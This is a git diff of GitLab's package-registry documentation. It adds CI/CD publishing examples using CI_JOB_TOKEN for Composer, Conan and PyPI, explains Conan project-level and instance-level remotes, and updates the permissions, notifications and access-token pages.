@@ -79,12 +79,17 @@ git push origin v1.0.0
Now that the basics of our project is completed, we can publish the package.
To publish the package, you need:
-- A personal access token. You can generate a [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `api` for repository authentication.
+- A personal access token or `CI_JOB_TOKEN`.
+
+ ([Deploy tokens](./../../project/deploy_tokens/index.md) are not yet supported for use with Composer.)
+
- Your project ID which can be found on the home page of your project.
To publish the package hosted on GitLab, make a `POST` request to the GitLab package API.
A tool like `curl` can be used to make this request:
+You can generate a [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `api` for repository authentication. For example:
+
```shell
curl --data tag=<tag> 'https://__token__:<personal-access-token>@gitlab.com/api/v4/projects/<project_id>/packages/composer'
```
@@ -97,6 +102,21 @@ Where:
If the above command succeeds, you now should be able to see the package under the **Packages & Registries** section of your project page.
+### Publishing the package with CI/CD
+
+To work with Composer commands within [GitLab CI/CD](./../../../ci/README.md), you can
+publish Composer packages by using `CI_JOB_TOKEN` in your `.gitlab-ci.yml` file:
+
+```yaml
+stages:
+ - deploy
+
+deploy:
+ stage: deploy
+ script:
+ - 'curl --header "Job-Token: $CI_JOB_TOKEN" --data tag=<tag> "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/packages/composer"'
+```
+
### Installing a package
To install your package, you need:
@@ -130,11 +150,8 @@ You also need to create a `auth.json` file with your GitLab credentials:
```json
{
- "http-basic": {
- "gitlab.com": {
- "username": "___token___",
- "password": "<personal_access_token>"
- }
+ "gitlab-token": {
+ "gitlab.com": "<personal_access_token>"
}
}
```
@@ -155,4 +172,4 @@ CAUTION: **Important:**
Make sure to never commit the `auth.json` file to your repository. To install packages from a CI job,
consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages-with-satis.md#authentication) tool with your personal access token
stored in a [GitLab CI/CD environment variable](../../../ci/variables/README.md) or in
-[Hashicorp Vault](../../../ci/examples/authenticating-with-hashicorp-vault/index.md).
+[Hashicorp Vault](../../../ci/secrets/index.md).
diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md
index e8014ad2b84..7c3082e0f83 100644
--- a/doc/user/packages/conan_repository/index.md
+++ b/doc/user/packages/conan_repository/index.md
@@ -83,15 +83,13 @@ conan new Hello/0.1 -t
Next, create a package for that recipe by running `conan create` providing the Conan user and channel:
```shell
-conan create . my-org+my-group+my-project/beta
+conan create . mycompany/beta
```
NOTE: **Note:**
-Current [naming restrictions](#package-recipe-naming-convention) require you to name the `user` value as the `+` separated path of your project on GitLab.
+If you are using the [instance level remote](#instance-level-remote), a specific [naming convention](#package-recipe-naming-convention-for-instance-level-remote) must be followed.
-The example above would create a package belonging to this project: `https://gitlab.com/my-org/my-group/my-project` with a channel of `beta`.
-
-These two example commands generate a final package with the recipe `Hello/0.1@my-org+my-group+my-project/beta`.
+These two example commands generate a final package with the recipe `Hello/0.1@mycompany/beta`.
For more advanced details on creating and managing your packages, refer to the [Conan docs](https://docs.conan.io/en/latest/creating_packages.html).
@@ -99,6 +97,38 @@ You are now ready to upload your package to the GitLab registry. To get started,
## Adding the GitLab Package Registry as a Conan remote
+You can add the GitLab Package Registry as a Conan remote at the project or instance level.
+
+### Project level remote
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) in GitLab 13.4.
+
+The project level remote allows you to work with packages within a given project.
+The advantage of using the project level remote is there are no restrictions to your
+package name, however all GitLab Conan packages require a full recipe
+with the user and channel (`package_name/version@user/channel`).
+
+To add the remote:
+
+```shell
+conan remote add gitlab https://gitlab.example.com/api/v4/projects/<project_id>/packages/conan
+```
+
+Once the remote is set, you can use the remote when running Conan commands by adding `--remote=gitlab` to the end of your commands.
+
+For example:
+
+```shell
+conan search Hello* --all --remote=gitlab
+```
+
+### Instance level remote
+
+The instance level remote allows you to use a single remote to access packages accross your entire
+GitLab instance. However, when using this remote, there are certain
+[package naming restrictions](#package-recipe-naming-convention-for-instance-level-remote)
+that must be followed.
+
Add a new remote to your Conan configuration:
```shell
@@ -110,9 +140,28 @@ Once the remote is set, you can use the remote when running Conan commands by ad
For example:
```shell
-conan search Hello* --all --remote=gitlab
+conan search 'Hello*' --remote=gitlab
```
+#### Package recipe naming convention for instance level remote
+
+The standard Conan recipe convention looks like `package_name/version@user/channel`,
+but if you're using the [instance level remote](#instance-level-remote), the recipe
+`user` must be the plus sign (`+`) separated project path.
+
+The following table shows some example recipes you can give your package based on
+the project name and path.
+
+| Project | Package | Supported |
+| ---------------------------------- | ----------------------------------------------- | --------- |
+| `foo/bar` | `my-package/1.0.0@foo+bar/stable` | Yes |
+| `foo/bar-baz/buz` | `my-package/1.0.0@foo+bar-baz+buz/stable` | Yes |
+| `gitlab-org/gitlab-ce` | `my-package/1.0.0@gitlab-org+gitlab-ce/stable` | Yes |
+| `gitlab-org/gitlab-ce` | `my-package/1.0.0@foo/stable` | No |
+
+NOTE: **Note:**
+[Project level remotes](#project-level-remote) allow for more flexible package names.
+
## Authenticating to the GitLab Conan Repository
You need a personal access token or deploy token.
@@ -142,7 +191,7 @@ Alternatively, you could explicitly include your credentials in any given comman
For example:
```shell
-CONAN_LOGIN_USERNAME=<gitlab_username or deploy_token_username> CONAN_PASSWORD=<personal_access_token or deploy_token> conan upload Hello/0.1@my-group+my-project/beta --all --remote=gitlab
+CONAN_LOGIN_USERNAME=<gitlab_username or deploy_token_username> CONAN_PASSWORD=<personal_access_token or deploy_token> conan upload Hello/0.1@mycompany/beta --all --remote=gitlab
```
### Setting a default remote to your project (optional)
@@ -150,7 +199,7 @@ CONAN_LOGIN_USERNAME=<gitlab_username or deploy_token_username> CONAN_PASSWORD=<
If you'd like Conan to always use GitLab as the registry for your package, you can tell Conan to always reference the GitLab remote for a given package recipe:
```shell
-conan remote add_ref Hello/0.1@my-group+my-project/beta gitlab
+conan remote add_ref Hello/0.1@mycompany/beta gitlab
```
NOTE: **Note:**
@@ -165,34 +214,19 @@ The rest of the example commands in this documentation assume that you've added
## Uploading a package
-First you need to [create your Conan package locally](https://docs.conan.io/en/latest/creating_packages/getting_started.html). In order to work with the GitLab Package Registry, a specific [naming convention](#package-recipe-naming-convention) must be followed.
+First you need to [create your Conan package locally](https://docs.conan.io/en/latest/creating_packages/getting_started.html).
+
+NOTE: **Note:**
+If you are using the [instance level remote](#instance-level-remote), a specific [naming convention](#package-recipe-naming-convention-for-instance-level-remote) must be followed.
Ensure you have a project created on GitLab and that the personal access token you're using has the correct permissions for write access to the container registry by selecting the `api` [scope](../../../user/profile/personal_access_tokens.md#limiting-scopes-of-a-personal-access-token).
You can upload your package to the GitLab Package Registry using the `conan upload` command:
```shell
-conan upload Hello/0.1@my-group+my-project/beta --all
+conan upload Hello/0.1@mycompany/beta --all
```
-### Package recipe naming convention
-
-Standard Conan recipe convention looks like `package_name/version@user/channel`.
-
-**The recipe user must be the `+` separated project path**. The package
-name may be anything, but it is preferred that the project name be used unless
-it's not possible due to a naming collision. For example:
-
-| Project | Package | Supported |
-| ---------------------------------- | ----------------------------------------------- | --------- |
-| `foo/bar` | `my-package/1.0.0@foo+bar/stable` | Yes |
-| `foo/bar-baz/buz` | `my-package/1.0.0@foo+bar-baz+buz/stable` | Yes |
-| `gitlab-org/gitlab-ce` | `my-package/1.0.0@gitlab-org+gitlab-ce/stable` | Yes |
-| `gitlab-org/gitlab-ce` | `my-package/1.0.0@foo/stable` | No |
-
-NOTE: **Note:**
-A future iteration will extend support to [project and group level](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) remotes which allows for more flexible naming conventions.
-
## Installing a package
Conan packages are commonly installed as dependencies using the `conanfile.txt` file.
@@ -204,7 +238,7 @@ Add the Conan recipe to the `[requires]` section of the file:
```ini
[requires]
- Hello/0.1@my-group+my-project/beta
+ Hello/0.1@mycompany/beta
[generators]
cmake
@@ -253,7 +287,7 @@ To search using a partial name, use the wildcard symbol `*`, which should be pla
```shell
conan search Hello --all --remote=gitlab
conan search He* --all --remote=gitlab
-conan search Hello/0.1@my-group+my-project/beta --all --remote=gitlab
+conan search Hello/0.1@mycompany/beta --all --remote=gitlab
```
The scope of your search includes all projects you have permission to access, this includes your private projects as well as all public projects.
@@ -263,7 +297,7 @@ The scope of your search includes all projects you have permission to access, th
The `conan info` command returns information about a given package:
```shell
-conan info Hello/0.1@my-group+my-project/beta
+conan info Hello/0.1@mycompany/beta
```
## List of supported CLI commands
diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md
index f46ad99e573..077666bc036 100644
--- a/doc/user/packages/container_registry/index.md
+++ b/doc/user/packages/container_registry/index.md
@@ -70,12 +70,12 @@ This view allows you to:
- Filter image repositories by their name.
- [Delete](#delete-images-from-within-gitlab) one or more image repository.
- Navigate to the image repository details page.
-- Show a **Quick start** dropdown with the most common commands to log in, build and push
+- Show a **Quick start** dropdown with the most common commands to log in, build and push.
- Show a banner if the optional [cleanup policy](#cleanup-policy) is enabled for this project.
### Control Container Registry for your group
-Navigate to your groups's **{package}** **Packages & Registries > Container Registry**.
+Navigate to your group's **{package}** **Packages & Registries > Container Registry**.
![Container Registry group repositories](img/container_registry_group_repositories_v13_1.png)
@@ -193,7 +193,7 @@ Before diving into the details, some things you should be aware of:
longer, but it means you don’t get stuck without security patches for base images.
- Doing an explicit `docker pull` before each `docker run` fetches
the latest image that was just built. This is especially important if you are
- using multiple Runners that cache images locally. Using the Git SHA in your
+ using multiple runners that cache images locally. Using the Git SHA in your
image tag makes this less necessary since each job is unique and you
shouldn't ever have a stale image. However, it's still possible to have a
stale image if you re-build a given commit after a dependency has changed.
@@ -240,8 +240,8 @@ There are three ways to authenticate to the Container Registry via
### Container Registry examples with GitLab CI/CD
-If you're using Docker-in-Docker on your Runners, this is how your `.gitlab-ci.yml`
-should look similar to this:
+If you're using Docker-in-Docker on your runners, this is how your `.gitlab-ci.yml`
+should look:
```yaml
build:
@@ -533,6 +533,11 @@ The cleanup policy:
1. Excludes from the list any tags matching the `name_regex_keep` value (tags to preserve).
1. Finally, the remaining tags in the list are deleted from the Container Registry.
+CAUTION: **Warning:**
+On GitLab.com, the execution time for the cleanup policy is limited, and some of the tags may remain in
+the Container Registry after the policy runs. The next time the policy runs, the remaining tags are included,
+so it may take multiple runs for all tags to be deleted.
+
### Create a cleanup policy
You can create a cleanup policy in [the API](#use-the-cleanup-policy-api) or the UI.
diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md
index f98a8eb9c6d..7329725a643 100644
--- a/doc/user/packages/maven_repository/index.md
+++ b/doc/user/packages/maven_repository/index.md
@@ -20,7 +20,7 @@ NOTE: **Note:**
This option is available only if your GitLab administrator has
[enabled support for the Maven repository](../../../administration/packages/index.md).
-After the Packages feature is enabled, the Maven Repository will be available for
+After the Packages feature is enabled, the Maven Repository is available for
all new projects by default. To enable it for existing projects, or if you want
to disable it:
@@ -34,7 +34,7 @@ repository.
## Getting Started with Maven
-This section will cover installing Maven and building a package. This is a
+This section covers installing Maven and building a package. This is a
quickstart to help if you're new to building Maven packages. If you're already
using Maven and understand how to build your own packages, move onto the
[next section](#adding-the-gitlab-package-registry-as-a-maven-remote).
@@ -107,7 +107,7 @@ You should see a new directory where you ran this command matching your
## Getting started with Gradle
-This section will cover installing Gradle and initializing a Java project. This is a
+This section covers installing Gradle and initializing a Java project. This is a
quickstart to help if you're new to Gradle. If you're already
using Gradle and understand how to build your own packages, move onto the
[next section](#adding-the-gitlab-package-registry-as-a-maven-remote).
@@ -128,7 +128,7 @@ If you want to use an existing Gradle project, installation is not necessary.
Simply execute `gradlew` (on Linux) or `gradlew.bat` (on Windows) in the project
directory instead.
-You should see something imilar to the below printed in the output:
+You should see something similar to the below printed in the output:
```plaintext
------------------------------------------------------------
@@ -191,7 +191,7 @@ Select build script DSL:
Enter selection (default: Groovy) [1..2]
```
-Choose `1` to create a new Java Library project which will be described in Groovy DSL. The output should be:
+Choose `1` to create a new Java Library project which is described in Groovy DSL. The output should be:
```plaintext
Select test framework:
@@ -213,7 +213,7 @@ Enter a project name or hit enter to use the directory name as project name.
The next step is to add the GitLab Package Registry as a Maven remote. If a
project is private or you want to upload Maven artifacts to GitLab,
-credentials will need to be provided for authorization too. Support is available
+credentials must be provided for authorization too. Support is available
for [personal access tokens](#authenticating-with-a-personal-access-token),
[CI job tokens](#authenticating-with-a-ci-job-token), and
[deploy tokens](../../project/deploy_tokens/index.md) only. Regular username/password
@@ -388,7 +388,7 @@ repositories {
To download and upload packages from GitLab, you need a `repository` and
`distributionManagement` section in your `pom.xml` file. If you're following the
-steps from above, then you'll need to add the following information to your
+steps from above, then you must add the following information to your
`my-project/pom.xml` file.
Depending on your workflow and the amount of Maven packages you have, there are
@@ -462,13 +462,13 @@ project's ID can be used for uploading.
If you rely on many packages, it might be inefficient to include the `repository` section
with a unique URL for each package. Instead, you can use the group level endpoint for
all your Maven packages stored within one GitLab group. Only packages you have access to
-will be available for download.
+are available for download.
The group level endpoint works with any package names, which means the you
have the flexibility of naming compared to [instance level endpoint](#instance-level-maven-endpoint).
-However, GitLab will not guarantee the uniqueness of the package names within
+However, GitLab does not guarantee the uniqueness of the package names within
the group. You can have two projects with the same package name and package
-version. As a result, GitLab will serve whichever one is more recent.
+version. As a result, GitLab serves whichever one is more recent.
The example below shows how the relevant `repository` section of your `pom.xml`
would look like. You still need a project specific URL for uploading a package in
@@ -524,7 +524,7 @@ For retrieving artifacts, you can use either the
If you rely on many packages, it might be inefficient to include the `repository` section
with a unique URL for each package. Instead, you can use the instance level endpoint for
-all maven packages stored in GitLab and the packages you have access to will be available
+all maven packages stored in GitLab and the packages you have access to are available
for download.
Note that **only packages that have the same path as the project** are exposed via
@@ -662,7 +662,7 @@ artifacts or even delete them.
Installing a package from the GitLab Package Registry requires that you set up
the [remote and authentication](#adding-the-gitlab-package-registry-as-a-maven-remote)
-as above. Once this is completed, there are two ways for installaing a package.
+as above. Once this is completed, there are two ways to install a package.
### Install using Maven with `mvn install`
@@ -732,7 +732,7 @@ you can configure GitLab CI/CD to build new packages automatically.
The example below shows how to create a new package each time the `master` branch
is updated:
-1. Create a `ci_settings.xml` file that will serve as Maven's `settings.xml` file.
+1. Create a `ci_settings.xml` file that serves as Maven's `settings.xml` file.
Add the server section with the same ID you defined in your `pom.xml` file.
For example, in our case it's `gitlab-maven`:
@@ -792,9 +792,9 @@ is updated:
1. Push those files to your repository.
-The next time the `deploy` job runs, it will copy `ci_settings.xml` to the
+The next time the `deploy` job runs, it copies `ci_settings.xml` to the
user's home location (in this case the user is `root` since it runs in a
-Docker container), and Maven will utilize the configured CI
+Docker container), and Maven uses the configured CI
[environment variables](../../../ci/variables/README.md#predefined-environment-variables).
### Creating Maven packages with GitLab CI/CD using Gradle
diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md
index 5b90ec6f18c..2a1c12c2afd 100644
--- a/doc/user/packages/npm_registry/index.md
+++ b/doc/user/packages/npm_registry/index.md
@@ -308,7 +308,7 @@ stages:
deploy:
stage: deploy
script:
- - echo '//gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}'>.npmrc
+ - echo "//gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}">.npmrc
- npm publish
```
@@ -316,9 +316,9 @@ Learn more about [using `CI_JOB_TOKEN` to authenticate to the GitLab NPM registr
## Troubleshooting
-### Error running yarn with NPM registry
+### Error running Yarn with NPM registry
-If you are using [yarn](https://classic.yarnpkg.com/en/) with the NPM registry, you may get
+If you are using [Yarn](https://classic.yarnpkg.com/en/) with the NPM registry, you may get
an error message like:
```shell
@@ -377,6 +377,7 @@ NPM_TOKEN=<your_token> npm install
### `npm install` returns `npm ERR! 403 Forbidden`
- Check that your token is not expired and has appropriate permissions.
+- Check that [your token does not begin with `-`](https://gitlab.com/gitlab-org/gitlab/-/issues/235473).
- Check if you have attempted to publish a package with a name that already exists within a given scope.
- Ensure the scoped packages URL includes a trailing slash:
- Correct: `//gitlab.com/api/v4/packages/npm/`
diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md
index fd250c9ac95..9f954627b05 100644
--- a/doc/user/packages/package_registry/index.md
+++ b/doc/user/packages/package_registry/index.md
@@ -26,19 +26,19 @@ For information on how to create and upload a package, view the GitLab documenta
## Use GitLab CI/CD to build packages
You can use [GitLab CI/CD](../../../ci/README.md) to build packages.
-For Maven, NuGet and NPM packages, and Composer dependencies, you can
+For Maven, NuGet, NPM, Conan, and PyPI packages, and Composer dependencies, you can
authenticate with GitLab by using the `CI_JOB_TOKEN`.
CI/CD templates, which you can use to get started, are in [this repo](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
-Learn more about [using CI/CD to build Maven packages](../maven_repository/index.md#creating-maven-packages-with-gitlab-cicd), [NPM packages](../npm_registry/index.md#publishing-a-package-with-cicd) and [NuGet Packages](../nuget_repository/index.md#publishing-a-nuget-package-with-cicd).
+Learn more about [using CI/CD to build Maven packages](../maven_repository/index.md#creating-maven-packages-with-gitlab-cicd), [NPM packages](../npm_registry/index.md#publishing-a-package-with-cicd), [Composer packages](../composer_repository/index.md#publishing-the-package-with-cicd), [NuGet Packages](../nuget_repository/index.md#publishing-a-nuget-package-with-cicd), [Conan Packages](../conan_repository/index.md#using-gitlab-ci-with-conan-packages), and [PyPI packages](../pypi_repository/index.md#using-gitlab-ci-with-pypi-packages).
If you use CI/CD to build a package, extended activity
information is displayed when you view the package details:
![Package CI/CD activity](img/package_activity_v12_10.png)
-You can view which pipeline published the package, as well as the commit and
+When using Maven and NPM, you can view which pipeline published the package, as well as the commit and
user who triggered it.
## Download a package
@@ -54,13 +54,11 @@ To download a package:
You cannot edit a package after you publish it in the Package Registry. Instead, you
must delete and recreate it.
-- You cannot delete packages from the group view. You must delete them from the project view instead.
- See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/227714) for details.
-- You must have suitable [permissions](../../permissions.md).
+To delete a package, you must have suitable [permissions](../../permissions.md).
You can delete packages by using [the API](../../../api/packages.md#delete-a-project-package) or the UI.
-To delete a package in the UI:
+To delete a package in the UI, from your group or project:
1. Go to **{package}** **Packages & Registries > Package Registry**.
1. Find the name of the package you want to delete.
diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md
index 63e6cd7b5b4..97f3f69d676 100644
--- a/doc/user/packages/pypi_repository/index.md
+++ b/doc/user/packages/pypi_repository/index.md
@@ -204,8 +204,27 @@ password = <deploy token>
When uploading packages, note that:
- The maximum allowed size is 50 Megabytes.
-- If you upload the same package with the same version multiple times, each consecutive upload
- is saved as a separate file. When installing a package, GitLab serves the most recent file.
+- You cannot upload the same version of a package multiple times. If you try, you receive the error `Validation failed: File name has already been taken`.
+
+### Ensure your version string is valid
+
+If your version string (for example, `0.0.1`) is invalid, it will be rejected. GitLab uses the following regex to validate the version string.
+
+```ruby
+\A(?:
+ v?
+ (?:([0-9]+)!)? (?# epoch)
+ ([0-9]+(?:\.[0-9]+)*) (?# release segment)
+ ([-_\.]?((a|b|c|rc|alpha|beta|pre|preview))[-_\.]?([0-9]+)?)? (?# pre-release)
+ ((?:-([0-9]+))|(?:[-_\.]?(post|rev|r)[-_\.]?([0-9]+)?))? (?# post release)
+ ([-_\.]?(dev)[-_\.]?([0-9]+)?)? (?# dev release)
+ (?:\+([a-z0-9]+(?:[-_\.][a-z0-9]+)*))? (?# local version)
+)\z}xi
+```
+
+You can play around with the regex and try your version strings on [this regular expression editor](https://rubular.com/r/FKM6d07ouoDaFV).
+
+For more details about the regex used, please check the [documentation here](https://www.python.org/dev/peps/pep-0440/#appendix-b-parsing-version-strings-with-regular-expressions))
### Upload packages with Twine
@@ -229,6 +248,13 @@ Uploading mypypipackage-0.0.1.tar.gz
This indicates that the package was uploaded successfully. You can then navigate
to your project's **Packages & Registries** page and see the uploaded packages.
+If you would rather not use a `.pypirc` file to define your repository source,
+you can upload to the repository with the authentication inline:
+
+```shell
+TWINE_PASSWORD=<personal_access_token or deploy_token> TWINE_USERNAME=<username or deploy_token_username> python3 -m twine upload --repository-url https://gitlab.com/api/v4/projects/<project_id>/packages/pypi dist/*
+```
+
If you did not follow the guide above, then you need to ensure your package
has been properly built and you [created a PyPi package with `setuptools`](https://packaging.python.org/tutorials/packaging-projects/).
@@ -273,3 +299,35 @@ Collecting mypypipackage
Installing collected packages: mypypipackage
Successfully installed mypypipackage-0.0.1
```
+
+## Using GitLab CI with PyPI packages
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202012) in GitLab 13.4.
+
+To work with PyPI commands within [GitLab CI/CD](./../../../ci/README.md), you can use
+`CI_JOB_TOKEN` in place of the personal access token or deploy token in your commands.
+
+For example:
+
+```yaml
+image: python:latest
+
+run:
+ script:
+ - pip install twine
+ - python setup.py sdist bdist_wheel
+ - TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token python -m twine upload --repository-url https://gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/pypi dist/*
+```
+
+You can also use `CI_JOB_TOKEN` in a `~/.pypirc` file that you check into GitLab:
+
+```ini
+[distutils]
+index-servers =
+ gitlab
+
+[gitlab]
+repository = https://gitlab.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/pypi
+username = gitlab-ci-token
+password = ${env.CI_JOB_TOKEN}
+```
diff --git a/doc/user/packages/workflows/project_registry.md b/doc/user/packages/workflows/project_registry.md
index a7bc4436d0e..571cda09e69 100644
--- a/doc/user/packages/workflows/project_registry.md
+++ b/doc/user/packages/workflows/project_registry.md
@@ -89,3 +89,10 @@ is created, you are ready to [upload your package](../conan_repository/index.md#
```shell
CONAN_LOGIN_USERNAME=<gitlab-username> CONAN_PASSWORD=<personal_access_token> conan upload MyPackage/1.0.0@foo+bar+my-proj/channel --all --remote=gitlab
```
+
+#### Composer
+
+It is currently not possible to publish a Composer package to a project that is different from where its code resides.
+
+If you attempt to publish a Composer package to a different project, you get a `404 Branch Not Found`
+or `404 Tag Not Found` error.
diff --git a/doc/user/permissions.md b/doc/user/permissions.md
index a89d534c782..e2baac1a962 100644
--- a/doc/user/permissions.md
+++ b/doc/user/permissions.md
@@ -55,7 +55,7 @@ The following table depicts the various user permission levels in a project.
| View [Design Management](project/issues/design_management.md) pages | ✓ | ✓ | ✓ | ✓ | ✓ |
| View project code | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
| Pull project code | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
-| View GitLab Pages protected by [access control](project/pages/introduction.md#gitlab-pages-access-control-core) | ✓ | ✓ | ✓ | ✓ | ✓ |
+| View GitLab Pages protected by [access control](project/pages/introduction.md#gitlab-pages-access-control) | ✓ | ✓ | ✓ | ✓ | ✓ |
| View wiki pages | ✓ | ✓ | ✓ | ✓ | ✓ |
| See a list of jobs | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
| See a job log | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
@@ -122,6 +122,7 @@ The following table depicts the various user permission levels in a project.
| Manage Feature Flags **(PREMIUM)** | | | ✓ | ✓ | ✓ |
| Create/edit/delete metrics dashboard annotations | | | ✓ | ✓ | ✓ |
| Run CI/CD pipeline against a protected branch | | | ✓ (*5*) | ✓ | ✓ |
+| Request a CVE ID **(FREE ONLY)** | | | | ✓ | ✓ |
| Use environment terminals | | | | ✓ | ✓ |
| Run Web IDE's Interactive Web Terminals **(ULTIMATE ONLY)** | | | | ✓ | ✓ |
| Add new team members | | | | ✓ | ✓ |
@@ -134,7 +135,7 @@ The following table depicts the various user permission levels in a project.
| Share (invite) projects with groups | | | | ✓ (*8*) | ✓ (*8*)|
| Add deploy keys to project | | | | ✓ | ✓ |
| Configure project hooks | | | | ✓ | ✓ |
-| Manage Runners | | | | ✓ | ✓ |
+| Manage runners | | | | ✓ | ✓ |
| Manage job triggers | | | | ✓ | ✓ |
| Manage CI/CD variables | | | | ✓ | ✓ |
| Manage GitLab Pages | | | | ✓ | ✓ |
@@ -212,17 +213,14 @@ Find the current permissions on the Value Stream Analytics dashboard, as describ
### Issue Board permissions
-Developers and users with higher permission level can use all
-the functionality of the Issue Board, that is create/delete lists
-and drag issues around. Read through the
-[documentation on Issue Boards permissions](project/issue_board.md#permissions)
-to learn more.
+Find the current permissions for interacting with the Issue Board feature in the
+[Issue Boards permissions page](project/issue_board.md#permissions).
### File Locking permissions **(PREMIUM)**
The user that locks a file or directory is the only one that can edit and push their changes back to the repository where the locked objects are located.
-Read through the documentation on [permissions for File Locking](project/file_lock.md#permissions-on-file-locking) to learn more.
+Read through the documentation on [permissions for File Locking](project/file_lock.md#permissions) to learn more.
### Confidential Issues permissions
@@ -250,7 +248,7 @@ group.
| Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ |
| Publish [packages](packages/index.md) | | | ✓ | ✓ | ✓ |
| View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ |
-| Create project in group | | | ✓ (3) | ✓ (3) | ✓ (3) |
+| Create project in group | | | ✓ (3)(5) | ✓ (3) | ✓ (3) |
| Share (invite) groups with groups | | | | | ✓ |
| Create/edit/delete group milestones | | | ✓ | ✓ | ✓ |
| Create/edit/delete iterations | | | ✓ | ✓ | ✓ |
@@ -285,6 +283,7 @@ group.
- The [instance level](admin_area/settings/visibility_and_access_controls.md#default-project-creation-protection).
- The [group level](group/index.md#default-project-creation-level).
1. Does not apply to subgroups.
+1. Developers can push commits to the default branch of a new project only if the [default branch protection](group/index.md#changing-the-default-branch-protection-of-a-group) is set to "Partially protected" or "Not protected".
### Subgroup permissions
@@ -368,7 +367,7 @@ are unable to browse the project's repository, for example).
TIP: **Tip:**
To prevent a guest user from creating projects, as an admin, you can edit the
-user's profile to mark the user as [external](#external-users-core-only).
+user's profile to mark the user as [external](#external-users).
Beware though that even if a user is external, if they already have Reporter or
higher permissions in any project or group, they are **not** counted as a
free guest user.
@@ -475,9 +474,9 @@ for details about the pipelines security model.
## LDAP users permissions
Since GitLab 8.15, LDAP user permissions can now be manually overridden by an admin user.
-Read through the documentation on [LDAP users permissions](group/index.md#manage-group-memberships-via-ldap-starter-only) to learn more.
+Read through the documentation on [LDAP users permissions](group/index.md#manage-group-memberships-via-ldap) to learn more.
## Project aliases
Project aliases can only be read, created and deleted by a GitLab administrator.
-Read through the documentation on [Project aliases](../user/project/index.md#project-aliases-premium-only) to learn more.
+Read through the documentation on [Project aliases](../user/project/index.md#project-aliases) to learn more.
diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md
index 336c1b8f254..73a83b08a23 100644
--- a/doc/user/profile/notifications.md
+++ b/doc/user/profile/notifications.md
@@ -143,7 +143,9 @@ Users will be notified of the following events:
| New SSH key added | User | Security email, always sent. |
| New email added | User | Security email, always sent. |
| Email changed | User | Security email, always sent. |
-| Password changed | User | Security email, always sent. |
+| Password changed | User | Security email, always sent when user changes their own password |
+| Password changed by administrator | User | Security email, always sent when an administrator changes the password of another user |
+| Two-factor authentication disabled | User | Security email, always sent. |
| New user created | User | Sent on user creation, except for OmniAuth (LDAP)|
| User added to project | User | Sent when user is added to project |
| Project access level changed | User | Sent when user project access level is changed |
@@ -183,6 +185,7 @@ To minimize the number of notifications that do not require any action, from [Gi
| Close merge request | |
| Reopen merge request | |
| Merge merge request | |
+| Merge when pipeline succeeds ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4) | |
| Change milestone merge request | Subscribers, participants mentioned, and Custom notification level with this event selected |
| Remove milestone merge request | Subscribers, participants mentioned, and Custom notification level with this event selected |
| New comment | The above, plus anyone mentioned by `@username` in the comment, with notification level "Mention" or higher |
diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md
index ae73842dd98..1b8c16f401c 100644
--- a/doc/user/profile/personal_access_tokens.md
+++ b/doc/user/profile/personal_access_tokens.md
@@ -20,37 +20,19 @@ Personal access tokens expire on the date you define, at midnight UTC.
- GitLab runs a check at 01:00 AM UTC every day to identify personal access tokens that expire in under seven days. The owners of these tokens are notified by email.
- GitLab runs a check at 02:00 AM UTC every day to identify personal access tokens that expired on the current date. The owners of these tokens are notified by email.
-To turn on the notification for expired personal access tokens in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-notification-for-expired-personal-access-token-core-only). **(CORE ONLY)**
-- In GitLab Ultimate, administrators may [limit the lifetime of personal access tokens](../admin_area/settings/account_and_limit_settings.md#limiting-lifetime-of-personal-access-tokens-ultimate-only).
-- In GitLab Ultimate, administrators may [toggle enforcement of personal access token expiry](../admin_area/settings/account_and_limit_settings.md#optional-enforcement-of-personal-access-token-expiry-ultimate-only).
+- In GitLab Ultimate, administrators may [limit the lifetime of personal access tokens](../admin_area/settings/account_and_limit_settings.md#limiting-lifetime-of-personal-access-tokens).
+- In GitLab Ultimate, administrators may [toggle enforcement of personal access token expiry](../admin_area/settings/account_and_limit_settings.md#optional-enforcement-of-personal-access-token-expiry).
For examples of how you can use a personal access token to authenticate with the API, see the following section from our [API Docs](../../api/README.md#personalproject-access-tokens).
GitLab also offers [impersonation tokens](../../api/README.md#impersonation-tokens) which are created by administrators via the API. They're a great fit for automated authentication as a specific user.
-## Enable or disable notification for Expired personal access token **(CORE ONLY)**
-
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it for your instance.
-
-To enable it:
-
-```ruby
-Feature.enable(:expired_pat_email_notification)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:expired_pat_email_notification)
-```
-
## Creating a personal access token
You can create as many personal access tokens as you like from your GitLab
